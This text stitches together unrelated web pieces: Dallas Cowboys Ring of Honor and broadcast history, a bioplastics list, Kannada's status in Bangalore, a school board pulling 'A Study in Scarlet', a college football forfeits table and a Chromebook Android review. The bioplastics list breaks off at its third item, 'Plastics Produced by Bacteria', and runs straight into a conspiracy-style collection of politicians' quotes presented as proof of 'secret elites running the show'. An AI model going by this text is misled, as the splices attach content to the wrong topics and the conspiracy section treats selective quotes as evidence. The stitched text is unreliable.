Unlike many NFL teams, the Cowboys do not retire jersey numbers of past standouts as a matter of policy. Instead, the team has a "Ring of Honor", which is on permanent display encircling the field. Originally at Texas Stadium, the ring is now on display at AT&T Stadium in Arlington. The first inductee was Bob Lilly in 1975 and by 2005, the ring contained 17 names, all former Dallas players except for one head coach and one general manager/president. Although the team does not officially retire jersey numbers, some are kept "unofficially inactive", so it is uncommon to find any current players wearing the number of one of the "Ring of Honor" inductees. As of 2019, these following numbers have been kept out of circulation: Troy Aikman's No. 8, Tony Romo's No. 9, Roger Staubach's No. 12, Bob Hayes' and Emmitt Smith's No. 22, Bob Lilly's No. 74, Jason Witten's No. 82, and No. 88, worn by Drew Pearson, Michael Irvin, and Dez Bryant.
The Ring of Honor has been a source of controversy over the years. Tex Schramm was believed to be a "one-man committee" in choosing inductees and many former Cowboys players and fans felt that Schramm deliberately excluded linebacker Lee Roy Jordan because of a bitter contract dispute the two had during Jordan's playing days. When Jerry Jones bought the team he inherited Schramm's Ring of Honor "power" and immediately inducted Jordan.
Jones also has sparked controversy regarding his decisions in handling the "Ring of Honor". For four years he was unsuccessful in convincing Tom Landry to accept induction. Meanwhile, he refused to induct Tex Schramm (even after Schramm's induction to the Pro Football Hall of Fame). In 1993, thanks in part to the efforts of Roger Staubach as an intermediary, Landry accepted induction and had a ceremony on the day of that year's Cowboys-Giants game (Landry had played and coached for the Giants). In 2003, Jones finally chose to induct Tex Schramm. Schramm and Jones held a joint press conference at Texas Stadium announcing the induction. Unfortunately, Schramm did not live to see his ceremonial induction at the Cowboys-Eagles game that fall.
Some of the more recent inductees were Troy Aikman, all-time NFL leading rusher Emmitt Smith, and Michael Irvin, known as "The Triplets". The Cowboys waited until Smith had retired as a player before inducting Aikman and Irvin, so all three could be inducted together, which occurred during halftime at a Monday Night Football home game against the arch-rival Washington Redskins on September 19, 2005.
The most recent inductees are defensive end Charles Haley, offensive lineman Larry Allen, and wide receiver Drew Pearson, who were inducted into the Ring of Honor during halftime of the Cowboys' game vs. the Seattle Seahawks on November 6, 2011, safety Darren Woodson, who was inducted on November 1, 2015, and executive Gil Brandt, who was inducted on November 29, 2018.
All-time first-round draft picks
Head coaches and staff
Head coaches
Current staff
Radio and television
As of 2010 , the Cowboys' flagship radio station is KRLD-FM. Brad Sham is the team's longtime play-by-play voice. Working alongside him is former Cowboy quarterback Babe Laufenberg, who returned in 2007 after a one-year absence to replace former safety Charlie Waters. The Cowboys, who retain rights to all announcers, chose not to renew Laufenberg's contract in 2006 and brought in Waters. However, Laufenberg did work as the analyst on the "Blue Star Network", which televises Cowboys preseason games not shown on national networks. The anchor station is KTVT, the CBS owned and operated station in Dallas. Previous stations which aired Cowboys games included KVIL-FM, KRLD, and KLUV-FM. Kristi Scales is the sideline reporter on the radio broadcasts.
During his tenure as Cowboys coach, Tom Landry co-hosted his own coach's show with late veteran sportscaster Frank Glieber and later with Brad Sham. Landry's show was famous for his analysis of raw game footage and for him and his co-host making their NFL "predictions" at the end of each show. Glieber is one of the original voices of the Cowboys Radio Network, along with Bill Mercer, famous for calling the Ice Bowl of 1967 and both Super Bowl V and VI. Mercer is perhaps best known as the ringside commentator of World Class Championship Wrestling in the 1980s. Upon Mercer's departure, Verne Lundquist joined the network, and became their play-by-play announcer by 1977, serving eight years in that capacity before handing those chores permanently over to Brad Sham, who joined the network in 1977 as the color analyst and occasional fill-in for Lundquist.
Longtime WFAA-TV sports anchor Dale Hansen was the Cowboys color analyst with Brad Sham as the play-by-play announcer from 1985–1996.
Dave Garrett served as the Cowboys' play-by-play announcer from 1995–97, when Brad Sham left the team and joined the Texas Rangers' radio network team as well as broadcast Sunday Night Football on Westwood One.
Seeking to expand its radio broadcasting scope nationally, the Cowboys began a five-year partnership with Compass Media Networks on February 2, 2011. The result was the America's Team Radio Network, a supplement to the franchise's regional one.[46] Beginning with the 2011 season, Kevin Burkhardt and Danny White handled the broadcasts, with Jerry Recco as the studio host.[47]
See also
References
NFL 2002 Record & Fact Book ISBN 0-7611-2643-0
Material Scientists are investigating alternatives to petroleum-based plastics. The following biological materials have been considered to create bioplastics:
1. Corn-Based Plastics
By far corn-based plastics (called PLA) are the most readily available alternative. Because of the properties of PLA it is used most readily in just one type of plastic production: food packaging. Several years ago many large manufacturers began using corn-based bioplastics and advertising their environmental benefits. PLA products are admittedly far from perfect. They biodegrade most readily in large scale compost facilities. These facilities, unfortunately are still few and few between. But there are still measurable benefits. PLA uses 65% less energy to produce than petroleum-based plastics.
2. Chitin-Based Plastics
Researchers have asked this simple question for decades “how does nature create a strong material that biodegrades quickly?” This mode of thinking is really the nexus of the field of biomimicry, which aims to use nature’s pre-existing solutions when tackling a challenging human problem. Earlier this year, researchers at Harvard announced that they had developed a low cost method for creating plastics from the chitin in shrimp shells. Chitin is the second most abundant polymer on Earth. The plastics made by the research team were more versatile than corn-based plastics and could be used to make large three-dimensional objects. Similarly impressive, the plastics made by this method broke down and served as a nutrient source for plants within three weeks of being buried. Unfortunately, this technology is still in the earliest phases of development. So it will likely be years before we see chitin-based bioplastics available commercially.
3. Plastics Produced by Bacteria
Presidents, government officials and dozens of politicians have, over the years, uttered hints about those ‘secret elites’ running the show. Here are but a few of them:
Canadian Defence Minister Paul Hellyer – Senior posts in Lester B. Pearson and Pierre E. Trudeau’s governments; known for the unification of the Canadian Armed Forces; stated in the G8 conference “UFOs are as real as the airplanes flying overhead.”
“It is ironic that the U.S. would begin a devastating war, allegedly in search of weapons of mass destruction, when the most worrisome developments in this field are occurring in your own backyard. It is ironic that the U.S. should be fighting monstrously expensive wars in Iraq and Afghanistan, allegedly to bring democracy to those countries, when it itself can no longer claim to be called a democracy, when trillions, and I mean thousands of billions of dollars have been spent on projects about which both the Congress and the Commander in Chief have been kept deliberately in the dark.”
View the clip where he spoke this:
U.S. President, Woodrow Wilson – a participant and headliner with the Treaty of Versailles; and responsible for the first go at the United Nations, by constructing the League of Nations as part of his Fourteen Points plan for peace in Europe.
“Since I entered politics, I have chiefly had men’s views confided to me privately. Some of the biggest men in the United States, in the field of commerce and manufacture, are afraid of somebody, are afraid of something. They know that there is a power somewhere so organized, so subtle, so watchful, so interlocked, so complete, so pervasive, that they had better not speak above their breath when they speak in condemnation of it.”
U.S. President, John F. Kennedy – and his famous speech:
“…And there is very grave danger that an announced need for increased security will be seized upon by those anxious to expand its meaning to the very limits of official censorship and concealment. That I do not intend to permit to the extent that it is in my control. … For we are opposed around the world by a monolithic and ruthless conspiracy that relies primarily on covert means for expanding its sphere of influence–on infiltration instead of invasion, on subversion instead of elections, on intimidation instead of free choice, on guerrillas by night instead of armies by day. It is a system which has conscripted vast human and material resources into the building of a tightly knit, highly efficient machine that combines military, diplomatic, intelligence, economic, scientific and political operations. Its preparations are concealed, not published. Its mistakes are buried, not headlined. Its dissenters are silenced, not praised. No expenditure is questioned, no rumor is printed, no secret is revealed.”
U.S. Senator, William Jenner – addressed Congress in 1954 with this:
“Today the path to total dictatorship in the U.S. can be laid by strictly legal means … We have a well-organized political-action group in this country, determined to destroy our Constitution and establish a one-party state … It operates secretly, silently, continuously to transform our Government … This ruthless power-seeking elite is a disease of our century… This group … is answerable neither to the President, the Congress, nor the courts. It is practically irremovable.”
U.S. Senator, Daniel K. Inouye – serving from 1963 until 2012 when he died, this highest ranking Asian-American politician had this to say about a shadow government:
“There exists a shadowy government with its own Air Force, its own Navy, its own fundraising mechanism, and the ability to pursue its own ideas of the national interest, free from all checks and balances, and free from the law itself.”
See for yourself in the clip below.
It has speakers, of course—nearly 50m of them, mostly in southwestern India. It’s the official language of the state of Karnataka, where active film, television, and music industries broadcast Kannada voices to millions of people. Writers have written in Kannada for nearly 1,500 years, producing a body of literature that includes a complex grammar written in 850. Kannada was the administrative language of some of the subcontinent’s most powerful kingdoms. There are Kannada newspapers and books published constantly. And writers in Kannada, an officially designated “classical language” (referring to its age), have achieved some measure of national prominence.
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Still, not all is rosy. The demographic balance in Karnataka’s capital Bangalore, now the third-largest city in India, is rapidly changing. Hindi and English are ascending as Bangalore aspires to national and international prominence. Immigrants to the city often decline to learn Kannada. Though primary public education is (by law) conducted in Kannada, the masses in Bangalore’s many private schools learn in Hindi and English. And although a cohort of 50m Kannada voices would be formidable in most of the world—fewer than thirty languages exceed it in native speakers—this group is a mere droplet in India’s teeming sea of people.
But G Venkatasubbiah, a Kannada lexicographer, doesn’t despair. Mr Venkatasubbiah, popularly known as Professor GV, is a familiar face in Karnataka. He edited the first modern Kannada dictionary—a 9,000-page, 8-volume series—and wrote several dozen other books and articles. His newspaper column Igo Kannada (“This Is Kannada”), which ran for 18 years, was compiled into a bestselling sociolinguistic chronicle of the language. (He is also your correspondent’s great-uncle; a copy of Mr Venkatasubbiah’s friendly orange Kannada-English dictionary is never far away.) Still spry at 100 and ubiquitous at cultural events, Professor GV is, to many, a grandfather figure to the Kannada language.
To hear him tell it, Kannada is threatened, but the situation is not grave. “Our modern literature is full of life. And Kannada has an ancient literature of great quality—especially epics and poetry. We are not going anywhere,” he said. But if Kannada’s favored position in Bangalore is at risk, he says, the state government is to blame. Most politicians in Karnataka speak Kannada as a first language, but their advocacy efforts are limp. In contrast, the state government in Tamil Nadu is ferociously supportive of Tamil-language initiatives.
Mr Venkatasubbiah believes Kannada can be promoted alongside, and not to the exclusion of, languages like Hindi and English. He suggests that the government should strengthen primary education language requirements and sponsor more programs that instill in Kannada-speakers a sense of pride in their language. One example of a rare success: the Kannada Sahitya Sammelana, a major literature conference, was held in Bangalore last year. Mr Venkatasubbiah was host and the events were well-attended. But even though the conference has occurred annually since 1915, it was last in Bangalore in 1970. This was an unfortunate hiatus. The city’s linguistic makeup has changed dramatically since 1970, and a high-profile cultural conference like the Kannada Sahitya Sammelana taking place during such a formative period could have reenergized Kannada learning and writing. For other possible language initiatives, states like Kerala provide models. Kerala has the highest rate of literacy in India: nearly everyone in the state knows how to read the official language, Malayalam. This is partially due to the state government’s strict educational requirements.
When my father’s family moved to Karnataka over a century ago, they had no choice but to learn Kannada. It’s now hard to imagine newer immigrants feeling the same pressure. In some ways, Kannadigas have begun to lose control of their largest city. A telling example: seven years ago, Kannadigas largely supported changing the spelling of Bangalore to Bengalūru, in line with its original pronunciation. But wary national commentators warned that such a provincial name would undermine Bangalore’s global ambitions. The decision was postponed. (No word yet on the irreparable damage that Bengali, Marathi, and Tamil speakers have wrought on Kolkata, Mumbai, and Chennai.)
Amidst such circumstances, Karnataka may risk recreating the conditions that led to the rise of Shiv Sena, a militant group, in neighbouring Maharashtra. Shiv Sena began as a violent protest movement founded by Marathi-speaking people who believed that other languages were gaining too much ground in a Marathi state. Like Karnataka, Maharashtra has an outsized center—Mumbai—where Hindi and English are dominant. Like Mumbai, Bangalore attracts immigrants from all over the country, many of whom will never learn the city’s native language. There are warning signs in Karnataka: monolingual English displays are sometimes vandalised or destroyed, with kannaḍada drōhi, “traitor to Kannada”, graffitied across the mess.
Part of the problem may be that Bangalore, like Mumbai, has a dubious claim to cultural capital of the state. (In Maharashtra, that title goes to Pune.) Bangalore is the indisputable center of activity in southwestern India, but Mysore (pictured), the second city of Karnataka, was only recently the sole cultural and political locus in the region. Prior to that, Hampi (now in ruins) was the capital of a powerful Kannada-speaking empire. Bangalore is not a Delhi or a Kolkata or a Hyderabad, old cities with old cultural institutions. Modern Bangalore, founded relatively recently, grew around a British military post. Many prominent Kannada figures like Mr Venkatasubbiah now call Bangalore home, but theirs is a reluctant migration. Mysore is loudly Kannada; Bangalore is simply loud. Without the sort of endemic pride associated with the ancient, perhaps initiating Kannada pride from Bangalore was always going to be a difficult task.
Mr Venkatasubbiah recognises that his world is changing. But he is not motivated by the sort of aggrieved conservatism that characterises so many older linguistic commentators. He knows better: language changes. So even while he documents the influx of Hindi and English into the Kannada of his fellow Bangaloreans, he doesn’t despair. “This trend isn’t of any evil consequence. Hindi and English borrowings have already been assimilated, welcomed into the local tongue,” he wrote in an email.
The desire to shield children from controversy has led another school district to ban a classic novel.
Doug Mataconis · · 26 comments
Albemarle County, Virginia is primarily known as the home of Thomas Jefferson and the University of Virginia, but now it’s also earning a distinction for another reason:
Thursday’s vote was the culmination of the work of a committee commissioned to study the book and two discussions by board members. Board member Diantha McKiel, of the Jack Jouett District, said it was important to note that the school system has a history of reconsidering books. “Sometimes we have declared books age inappropriate, sometimes we have decided that they should stay where they are,” she said. More than 20 former Henley students turned out to oppose the book’s removal from the lists. Rising Western Albemarle High School ninth-grader Quinn Legallo-Malone spoke during public comment to oppose removal of the book. He called the work “the best book I have read so far.” The board based its decision on the recommendation of a committee commissioned to study the Victorian work. In its report, the committee concluded that the book was not age-appropriate for sixth-graders. In her comments to the board, Brette Stevenson, the Henley parent who first complained about the book in May, said the work was not suitable as an introduction to mystery and deductive reasoning. “‘A Study in Scarlet’ has been used to introduce students to the mystery genre and into the character of Sherlock Holmes. This is our young students’ first inaccurate introduction to an American religion,” Stevenson told the board.
The offending portions of A Study In Scarlet apparently had to do with several passages referencing Mormonism:
You don’t have to be a world-class detective to see that the book casts Mormons in a bad light, suggesting it’s a religion whose adherents are willing to commit murder to protect their ideals. Take this passage from Chapter 3: “The man who held out against the Church vanished away, and none knew whither he had gone or what had befallen him. His wife and his children awaited him at home, but no father ever returned to tell them how he had fared at the hands of his secret judges. A rash word or a hasty act was followed by annihilation, and yet none knew what the nature might be of this terrible power which was suspended over them.” Although the school board agreed to pull the book from the sixth-grade curriculum, members said they might introduce it in the high school curriculum. Perhaps then they could use the book to teach a lesson about forgiveness.
Why can’t that lesson be taught in Sixth Grade? And if you’re going to introduce students to the mystery genre, what better book to start with than the very first of Sir Arthur Conan Doyle’s Sherlock Holmes mysteries. The book, for example, tells the story of how Dr. Watson and Holmes met and introduces plot elements that show up in later works. Moreover, the book was published in 1886, when the controversies over Mormonism, it’s practice of polygamy, and the question of Utah statehood were still being debated in the United States. To the extent that Doyle’s predominantly British audience knew anything about the LDS Church, it was through press coverage of the LDS Church’s various conflicts with American authorities going back to the 1830s. It wasn’t until 1890 that those conflicts were resolved. So, it’s not surprising that at fictional depiction of the Chruch would be heavily influenced by the era it was written. It strikes me that this would be an excellent opportunity for a teachable moment that even 6th graders can learn from.
2014 Ole Miss SEC V 9-4 1-4 Vacated all wins except Presbyterian
2013 Ole Miss SEC V 8-5 1-5 Vacated all wins except Music City Bowl
2013 Notre Dame Ind V 9-4 0-4 Vacated all 9 wins
2012 Ole Miss SEC V 7-6 0-6 Vacated all wins
2012 Notre Dame Ind V 12-1 0-1 Vacated all 12 wins
2011 Ole Miss SEC V 2-10 0-10 Vacated all wins
2010 Ole Miss SEC V 4-8 0-8 Vacated all wins
2009 Georgia Tech ACC V 11-3 10-3 Vacated one win.
2009 North Carolina ACC V 8-5 0-5 Vacated all eight wins.
2008 North Carolina ACC V 8-5 0-5 Vacated all eight wins.
2007 Alabama SEC V 7-6 2-6 Vacated first five wins.
2007 Florida State ACC V 7-6 0-6 Vacated all seven wins.
2006 Alabama SEC V 6-7 0-7 Vacated all six wins.
2006 Florida State ACC V 7-6 2-6 Vacated five wins.
2006 Syracuse Big East V 4-8 0-8 Vacated all wins
2005 Alabama SEC V 10-2 0-2 Vacated all ten wins.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
2005 USC Pac-10 V 12-1 0-1 Vacated all 12 wins.
2005 Syracuse Big East V 1-10 0-10 Vacated all wins
2004 USC Pac-10 V 13-0 11-0 Vacated two wins.
2004 Syracuse Big East V 6-6 0-6 Vacated all wins
1999 California Pac-10 V 4-7 0-7 Vacated all four wins.
1998 Louisiana Tech Ind F 6-6 6-6 Forfeit win over Texas A&M but the official records were not adjusted.
1998 SMU WAC V 5-7 1-1 Vacated ten games.
1998 Texas A&M Big 12 F 11-3 11-3 Forfeited win over Louisiana Tech but the official records were not adjusted.
1997 Colorado Big 12 F 5-6 5-6 Forfeited all five wins but did not adjust official record.
1997 Colorado State WAC F 11-2 12-1 Forfeit win over Colorado but Colorado did not adjust official record.
1997 Iowa State Big 12 F 1-10 2-9 Forfeit win over Colorado but Colorado did not adjust official record.
1997 Kansas Big 12 F 5-6 6-5 Forfeit win over Colorado but Colorado did not adjust official record.
1997 Texas Big 12 F 4-7 4-7 Forfeit win over Colorado but the official records were not adjusted.
1997 Wyoming WAC F 7-6 8-5 Forfeit win over Colorado but Colorado did not adjust official record.
1996 Baylor Big 12 F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1996 Kansas Big 12 F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1996 Louisiana Ind F 5-6 5-6 Texas Tech promised to forfeit game but never changed official record.
1996 Oklahoma Big 12 F 3-8 3-8 Texas Tech promised to forfeit game but never changed official record.
1996 Oklahoma State Big 12 F 5-6 5-6 Texas Tech promised to forfeit game but never changed official record.
1996 Texas A&M Big 12 F 6-6 6-6 Texas Tech promised to forfeit game but never changed official record.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1996 Texas Tech Big 12 F 7-5 7-5 Promised to forfeit all seven wins but never changed official record.
1996 Utah State Big West F 6-5 6-5 Texas Tech promised to forfeit game but never changed official record.
1995 Air Force WAC F 8-5 8-5 Texas Tech promised to forfeit game but never changed official record.
1995 Arkansas State Big West F 6-5 6-5 Texas Tech promised to forfeit game but never changed official record.
1995 Houston SWC F 2-9 2-9 Texas Tech promised to forfeit game but never changed official record.
1995 Missouri Big 8 F 3-8 3-8 Texas Tech promised to forfeit game but never changed official record.
1995 New Mexico WAC F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1995 Rice SWC F 2-8-1 2-8-1 Texas Tech promised to forfeit game but never changed official record.
1995 SMU SWC F 1-10 1-10 Texas Tech promised to forfeit game but never changed official record.
1995 Texas A&M SWC F 9-3 9-3 Texas Tech promised to forfeit game but never changed official record.
1995 Texas Christian SWC F 6-5 6-5 Texas Tech promised to forfeit game but never changed official record.
1995 Texas Tech SWC F 9-3 9-3 Promised to forfeit all nine wins but never changed official record.
1994 Baylor SWC F 7-4 7-4 Texas Tech promised to forfeit game but never changed official record.
1994 Houston SWC F 1-10 1-10 Texas Tech promised to forfeit game but never changed official record.
1994 Indiana Big Ten F 6-5 7-4 Forfeit win over Michigan State.
1994 Louisiana Big West F 6-5 6-5 Texas Tech promised to forfeit game but never changed official record.
1994 Miami (OH) MAC F 5-5-1 6-4-1 Forfeit win over Michigan State.
1994 New Mexico WAC F 5-7 5-7 Texas Tech promised to forfeit game but never changed official record.
1994 Northwestern Big Ten F 3-7-1 4-6-1 Forfeit win over Michigan State.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1994 Purdue Big Ten F 4-5-2 5-4-2 Forfeit win over Michigan State.
1994 SMU SWC F 1-9-1 1-9-1 Texas Tech promised to forfeit game but never changed official record.
1994 Texas SWC F 8-4 8-4 Texas Tech promised to forfeit game but never changed official record.
1994 Texas Tech SWC F 6-6 6-6 Promised to forfeit all six wins but never changed official record.
1994 Wisconsin Big Ten F 7-4-1 8-3-1 Forfeit win over Michigan State.
1993 Alabama SEC F 9-3-1 1-12 Forfeited all regular season games.
1993 Arkansas SEC F 5-5-1 6-4-1 Forfeit win over Alabama.
1993 Houston SWC F 1-9 1-9 Texas Tech promised to forfeit game but never changed official record.
1993 Ole Miss SEC F 5-6 6-5 Forfeit win over Alabama.
1993 Mississippi State SEC F 3-6-2 4-5-2 Forfeit win over Alabama.
1993 Pacific Big West F 3-8 3-8 Texas Tech promised to forfeit game but never changed official record.
1993 Rice SWC F 6-5 6-5 Texas Tech promised to forfeit game but never changed official record.
1993 South Carolina SEC F 4-7 5-6 Forfeit win over Alabama.
1993 SMU SWC F 2-7-2 2-7-2 Texas Tech promised to forfeit game but never changed official record.
1993 Southern Mississippi Ind F 2-8-1 3-7-1 Forfeit win over Alabama.
1993 Tennessee SEC F 9-2-1 10-2 Forfeit win over Alabama.
1993 Texas SWC F 5-5-1 5-5-1 Texas Tech promised to forfeit game but never changed official record.
1993 Texas Christian SWC F 4-6 4-6 Texas Tech promised to forfeit game but never changed official record.
1993 Texas Tech SWC F 6-6 6-6 Promised to forfeit all six wins but never changed official record.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1993 Tulane Ind F 3-9 4-8 Forfeit win over Alabama.
1993 Vanderbilt SEC F 4-7 5-6 Forfeit win over Alabama.
1992 Baylor SWC F 7-5 7-5 Texas Tech promised to forfeit game but never changed official record.
1992 Houston SWC F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1992 SMU SWC F 5-6 5-6 Texas Tech promised to forfeit game but never changed official record.
1992 Texas Christian SWC F 2-8-1 2-8-1 Texas Tech promised to forfeit game but never changed official record.
1992 Texas Tech SWC F 5-6 5-6 Promised to forfeit all five wins but never changed official record.
1992 Wyoming WAC F 5-7 5-7 Texas Tech promised to forfeit game but never changed official record.
1991 Arkansas SWC F 6-6 6-6 Texas Tech promised to forfeit game but never changed official record.
1991 Baylor SWC F 8-4 8-4 Texas Tech promised to forfeit game but never changed official record.
1991 Cal State Fullerton Big West F 2-9 2-9 Texas Tech promised to forfeit game but never changed official record.
1991 Houston SWC F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1991 Rice SWC F 4-7 4-7 Texas Tech promised to forfeit game but never changed official record.
1991 SMU SWC F 1-10 1-10 Texas Tech promised to forfeit game but never changed official record.
1991 Texas Tech SWC F 6-5 6-5 Promised to forfeit all six wins but never changed official record.
1990 Arkansas SWC F 3-8 3-8 Texas Tech promised to forfeit game but never changed official record.
1990 New Mexico WAC F 2-10 2-10 Texas Tech promised to forfeit game but never changed official record.
1990 SMU SWC F 1-10 1-10 Texas Tech promised to forfeit game but never changed official record.
1990 Texas Christian SWC F 5-6 5-6 Texas Tech promised to forfeit game but never changed official record.
1990 Texas Tech SWC F 4-7 4-7 Promised to forfeit all four wins but never changed official record.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1987 Houston SWC F 4-6-1 4-6-1 Forfeited win over Temple but did not adjust official record.
1987 Temple Ind F 3-8 4-7 Forfeit win over Houston.
1986 East Carolina Ind F 2-9 3-8 Forfeit win over Temple.
1986 Pitt Ind F 5-5-1 6-4-1 Forfeit win over Temple.
1986 Rutgers Ind F 5-5-1 6-4-1 Forfeit win over Temple.
1986 Temple Ind F 6-5 0-11 Forfeited all six wins.
1986 Virginia Tech Ind F 9-2-1 10-1-1 Forfeit win over Temple.
1986 Western Michigan MAC F 3-8 4-7 Forfeit win over Temple.
1984 Fresno State PCAA F 6-6 7-5 Forfeit win over Nevada-Las Vegas.
1984 Nevada-Las Vegas PCAA F 11-2 0-13 Forfeited all 11 wins.
1984 Pacific PCAA F 4-7 5-6 Forfeit win over Nevada-Las Vegas.
1984 Toledo MAC F 8-3-1 9-2-1 Forfeit win over Nevada-Las Vegas.
1984 Utah State PCAA F 1-10 2-9 Forfeit win over Nevada-Las Vegas.
1984 Wichita State MVC F 2-9 3-8 Forfeit win over Nevada-Las Vegas.
1983 Florida State Ind F 7-5 8-4 Forfeit win over Tulane.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1983 Louisiana Ind F 4-6 5-5 Forfeit win over Tulane.
1983 Ole Miss SEC F 6-6 7-5 Forfeit win over Tulane.
1983 Southern Mississippi Ind F 7-4 8-3 Forfeit win over Tulane.
1980 Kansas Big 8 F 4-5-2 3-6-2 Forfeited win over Kansas State.
1979 Arizona State Pac-10 F 6-6 6-6 Forfeited five wins but did not adjust official record.
1979 Oregon State Pac-10 F 1-10 2-9 Forfeit win over Arizona State but Arizona State did not adjust official record.
1979 Toledo MAC F 7-3-1 8-2-1 Forfeit win over Arizona State but Arizona State did not adjust official record.
1979 Utah State PCAA F 7-3-1 8-2-1 Forfeit win over Arizona State but Arizona State did not adjust official record.
1979 Washington Pac-10 F 9-3 10-2 Forfeit win over Arizona State but Arizona State did not adjust official record.
1979 Washington State Pac-10 F 3-8 4-7 Forfeit win over Arizona State but Arizona State did not adjust official record.
1977 Auburn SEC F 5-6 6-5 Forfeit win over Mississippi State.
1977 California Pac-8 F 7-4 8-3 Forfeit win over UCLA.
1977 Iowa Big Ten F 4-7 5-6 Forfeit win over UCLA.
1977 Kansas Big 8 F 3-7-1 4-6-1 Forfeit win over UCLA.
1977 Kansas State Big 8 F 1-10 2-9 Forfeit win over Mississippi State.
1977 Ole Miss SEC F 5-6 6-5 Forfeit win over Mississippi State.
1977 Mississippi State SEC F 5-6 0-11 Forfeited all five wins.
1977 North Texas Ind F 9-2 10-1 Forfeit win over Mississippi State.
1977 Oregon Pac-8 F 2-9 3-8 Forfeit win over UCLA.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1977 Oregon State Pac-8 F 2-9 3-8 Forfeit win over UCLA.
1977 UCLA Pac-8 F 7-4 0-11 Forfeited all seven wins.
1977 Washington Pac-8 F 8-4 10-2 Forfeit wins over Mississippi State and UCLA.
1977 Washington State Pac-8 F 6-5 7-4 Forfeit win over UCLA.
1976 Auburn SEC F 3-8 4-7 Forfeit win over Mississippi State.
1976 Kentucky SEC F 8-4 9-3 Forfeit win over Mississippi State.
1976 LSU SEC F 6-4-1 7-3-1 Forfeit win over Mississippi State.
1976 Louisville Ind F 4-7 5-6 Forfeit win over Mississippi State.
1976 Memphis Ind F 7-4 8-3 Forfeit win over Mississippi State.
1976 Ole Miss SEC F 5-6 6-5 Forfeit win over Mississippi State.
1976 Mississippi State SEC F 9-2 0-11 Forfeited all nine wins.
1976 North Texas Ind F 6-5 7-4 Forfeit win over Mississippi State.
1976 Southern Mississippi Ind F 2-9 3-8 Forfeit win over Mississippi State.
1975 Auburn SEC F 3-6-2 4-6-1 Forfeit win over Mississippi State.
1975 LSU SEC F 4-7 5-6 Forfeit win over Mississippi State.
1975 Louisville Ind F 1-10 2-9 Forfeit win over Mississippi State.
1975 Mississippi State SEC F 6-4-1 2-9 Forfeited four wins and a tie.
1975 North Texas Ind F 7-4 8-3 Forfeit win over Mississippi State.
1975 Rice SWC F 2-9 3-8 Forfeit win over Mississippi State.
1972 Kansas Big 8 F 4-7 4-7 Forfeit win over Oklahoma but the official records were not adjusted.
Year School Conf Type Orig W-L-T Adj W-L-T Notes
1972 Missouri Big 8 F 6-6 6-6 Forfeit win over Oklahoma but the official records were not adjusted.
1972 Oklahoma Big 8 F 11-1 11-1 Forfeited three wins but the official records were not adjusted.
1972 Oklahoma State Big 8 F 6-5 6-5 Forfeit win over Oklahoma but the official records were not adjusted.
1960 Kansas Big 8 F 7-2-1 6-3-1 Forfeited win over Missouri.
1960 Missouri Big 8 F 10-1 11-0 Forfeit win over Kansas.
1951 Missouri Big 7 F 2-8 3-7 Forfeit win over Kansas State.
1951 Nebraska Big 7 F 1-8-1 2-8 Forfeit win over Kansas State.
Following last month’s announcement I ordered a Flip almost without hesitation. I’ve been waiting for Google to expand on their previous ARC beta back in 2014 and having spent a few hours with it this evening, here are my thoughts.
What is it?
Unlike ARC (App Runtime for Chrome) – a solution that required modifications to be made to Android apps in order for them to run – Google’s new approach takes a leaf out of the increasingly popular Linux container world (Docker, LXD, etc) to provide a minimal Android environment within a secure container running on alongside Chrome on the ChromeOS system, this has the benefit of sharing system resources effortlessly when compared to traditional hypervisors and as such performance is top-notch.
As the Chrome OS UI sits atop of both Chrome and the Android container, both systems can be integrated into the same UI. Notification access, windowed applications and the general feeling of a “native” solution has been achieved.
It “just works”
Upon booting back into ChromeOS following the update, the Play Store icon sat unassuming on the shelf. On opening the Play Store I was greeted with a little introduction (above) and terms of service.
A couple of clicks later, here it is in all its glory!
Navigating around the Play Store is super smooth and feels pretty natural. The Flip is a touchscreen-enabled Chromebook, however using the Play Store with either the touchpad or the touchscreen work equally well.
Applications install quickly and notifications are well integrated into the ChromeOS notification centre.
It’s fast
Being a developer preview I wasn’t expecting the system to fly; I was very much waiting to watch as the Flip, or at the very least the new apps running on ChromeOS regularly grind to a halt.
Not a single stutter.
This likely has a lot to do with the container technology used to run Android on ChromeOS rather than a traditional hypervisor approach as mentioned above wherein the container shares resources with the host directly as opposed to Chrome OS having to virtualise the hardware on which the Android framework runs. This dramatically reduces the resources required to run it. It may also be because the Android system running appears to be relatively light, foregoing features in favour of speed. Of course it could be something entirely different!
As it stands at the time of writing, I have Gmail, Google+, JuiceSSH, Spotify, Skype & Hangouts running. Switching between these apps is effortless and despite the added load, there’s no indication the Flip can’t handle it.
Additionally, apps appear to be able to work in the background even when the app window is closed. JuiceSSH for example retains a permanent notification in the notification area when an SSH session is active. Clicking this will launch a window to return to the session exactly where it was left off. A nice addition.
It’s not perfect however, as I noted youtube videos would stop once they were no longer the “foreground” app, however this was hit and miss; it would appear providing the Android app is foreground on the Android container it was possible to retain a level of interaction even when using Chrome. If I brought up another Android app, this was no longer the case.
It’s easy to manage
Once apps have been installed, they’re all available within the Launcher. It’s not always possible to differentiate the Chrome apps from Android apps, so occasionally confusion can occur where two (or more!) versions of the same app have been installed.
Right clicking on any app provides a quick and simple way of uninstalling it, though this can also be done through Android settings linked from within ChromeOS settings.
From Android settings it’s also easy to configure other aspects of the Android container, like additional accounts, notification settings, print settings and more. Again, not being a mobile device the options available are quite a bit more limited, but it’s certainly granular enough to get the job done.
But it’s not perfect
Obviously it’s available only to those on the dev channel for a reason; this implementation of Android is certainly not without its niggles:
While the Android world comes to terms with this new functionality, applications won’t be perfect. Some applications when maximised show large black bars, some force close. Others such as those requiring GPS, telephony or any sensors unavailalbe on a Chromebook as a prerequisite for installation won’t be compatible.
Trying to store data on the local storage area leads to hanging in some applications, particularly the screen recorders I attempted to use to capture video for this review (sorry!)
Windows can’t yet be dynamically resized and are therefore fixed to the three window sizes Google have defined, except for the option to maximise.
Attempting to update the Android OS results in an immediate force close of the settings app.
